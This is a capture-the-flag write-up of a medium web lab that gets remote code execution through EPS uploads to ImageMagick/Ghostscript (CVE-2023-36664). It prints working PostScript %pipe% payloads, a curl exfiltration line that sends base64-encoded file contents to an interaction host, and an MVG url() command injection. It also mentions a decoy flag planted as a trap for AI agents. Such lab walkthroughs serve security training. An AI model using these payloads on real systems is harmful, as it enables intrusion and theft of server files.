← Back to Writeups
CUSTOMMediumWeb

Lab 324 — ImageMagick RCE (PixelForge)

XESXOR9/10/20264 min read
#web#custom#medium#blind_file_write_to_webroot#ghostscript_pipe_command_execu#honeypot_flag_detection#nosafety_misconfiguration_expl#postscript_rce_via_thumbnail#cve-2023-36664

Lab 324 — ImageMagick RCE (PixelForge)

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: blind_file_write_to_webroot, ghostscript_pipe_command_execution, honeypot_flag_detection, nosafety_misconfiguration_exploit, postscript_rce_via_thumbnail

Summary

Task: Digital art gallery platform (PixelForge) processes EPS uploads via ImageMagick 7.x + GhostScript with -dNOSAFER. Solution: Exploited CVE-2023-36664 by uploading a malicious EPS file with PostScript %pipe% operator to execute shell commands, writing the flag to a web-accessible path.

Lab 324 — ImageMagick RCE (PixelForge) — HackAdvisor

Description

PixelForge is a community-driven digital art gallery and portfolio platform where artists upload, organize, and showcase their creative work. The platform supports a wide range of image formats including EPS and SVG for professional artists. Your mission is to discover and exploit a critical remote code execution vulnerability in the image processing pipeline to read the flag from the server.

English summary: A Flask-based digital art gallery behind nginx/1.25.5 that accepts image uploads (JPG, PNG, GIF, EPS, SVG, TIFF), generates thumbnails automatically using ImageMagick + Ghostscript, and serves them to users. The goal is to achieve RCE via the image processing pipeline and read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

  • Logged in with standard credentials (user@test.com / password123)
  • The platform is a Flask application behind nginx/1.25.5
  • Upload page at /upload accepts: JPG, PNG, GIF, EPS, SVG, TIFF
  • Footer reveals: "Built with ImageMagick 7.x" and "Media processing: GhostScript, Pillow"
  • Uploaded files stored at /app/data/uploads/ which maps to /uploads/ web path
  • Thumbnails are automatically generated for uploaded files — EPS files are processed by Ghostscript

Honeypot Detection

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The HTML source contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements. This is a prompt injection trap designed to fool AI agents and automated scanners — it was correctly identified and ignored.

Vulnerability Identification

CVE-2023-36664 — Ghostscript %pipe% RCE: Ghostscript processes EPS files with the -dNOSAFER flag, which disables the security sandbox. This allows PostScript's %pipe% operator to open a pipe to execute arbitrary shell commands. The (r) file operator reads the command's stdout back into PostScript. Since thumbnail generation is automatic on upload, no additional user interaction is needed beyond uploading the file. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key conditions:

  1. Ghostscript runs with -dNOSAFER (sandbox disabled)
  2. PostScript %pipe% operator is not filtered
  3. Server runs as root — full filesystem access
  4. Uploaded files directory is web-accessible

Solution

Step 1: Initial Payload — Render Flag in Thumbnail (Failed)

First attempt used a PostScript payload that reads the flag and renders it as text in the generated thumbnail:

postscript
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 612 792

/Courier-Bold findfont 20 scalefont setfont
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

(%pipe%cat /root/flag.txt 2>/dev/null || cat /flag.txt 2>/dev/null || cat /flag 2>/dev/null || cat /app/flag.txt 2>/dev/null) (r) file
50 750 moveto
{
  dup 512 string readline
  {
    50 currentpoint exch pop 25 sub moveto
    show
  }
  { pop exit }
  ifelse
} loop

showpage

This produced a blank thumbnail — the text rendering approach didn't work reliably with this server's ImageMagick/Ghostscript configuration.

Step 2: Blind Exfiltration via Interaction Server (Failed)

Second attempt tried to exfiltrate the flag via HTTP callback to the interaction server: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

postscript
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 612 792

/Courier-Bold findfont 20 scalefont setfont

(%pipe%curl http://interact/d4d38697-7438-48c5-ad21-8270328a5872/flag?data=$(cat /root/flag.txt 2>/dev/null | base64 -w0 || cat /flag.txt 2>/dev/null | base64 -w0 || cat /flag 2>/dev/null | base64 -w0)) (r) file
50 750 moveto
(Exfiltrating...) show

showpage

This approach was not needed since a simpler method worked.

Step 3: MVG Payload via ImageMagick (Failed)

Third attempt used an MVG (Magick Vector Graphics) file to exploit ImageMagick's url() delegate: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|cat /root/flag.txt > /tmp/flag.txt; curl http://interact/.../flag2?data=$(cat /tmp/flag.txt | base64 -w0)")'
pop graphic-context

This older ImageMagick exploit vector did not work on this version.

Step 4: File Write to Webroot (Success)

The winning payload writes the flag directly to the web-accessible uploads directory:

postscript
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 612 792

(%pipe%cat /root/flag.txt > /app/data/uploads/output.txt 2>/dev/null; cat /flag.txt >> /app/data/uploads/output.txt 2>/dev/null; cat /flag >> /app/data/uploads/output.txt 2>/dev/null; cat /root/flag.txt > /app/static/output.txt 2>/dev/null; cat /flag.txt >> /app/static/output.txt 2>/dev/null) (r) file
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

showpage

How this works:

  1. (%pipe%cat /root/flag.txt > /app/data/uploads/output.txt ...) — opens a pipe to execute shell commands that read the flag and write it to the web-accessible uploads directory
  2. (r) file — opens the pipe in read mode, triggering command execution
  3. Multiple flag paths are tried: /root/flag.txt, /flag.txt, /flag
  4. Output is written to both /app/data/uploads/output.txt and /app/static/output.txt for redundancy
  5. showpage finalizes the PostScript page (required for valid EPS) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Retrieve the Flag

After uploading exploit4.eps, the flag was retrieved by accessing:

https://d4d38697-7438-48c5-ad21-8270328a5872.labs.hackadvisor.io/uploads/output.txt

The file contained: FLAG{REDACTED}

Failed Approaches

ApproachResult
EPS payload rendering flag text in thumbnailProduced blank image — text rendering didn't work
Blind exfiltration via interaction server (curl callback)Not needed — direct file write worked
MVG payload via ImageMagick url() delegateOld exploit vector, not effective on this version
Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} from HTML sourceHoneypot for bots/scanners — fake
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍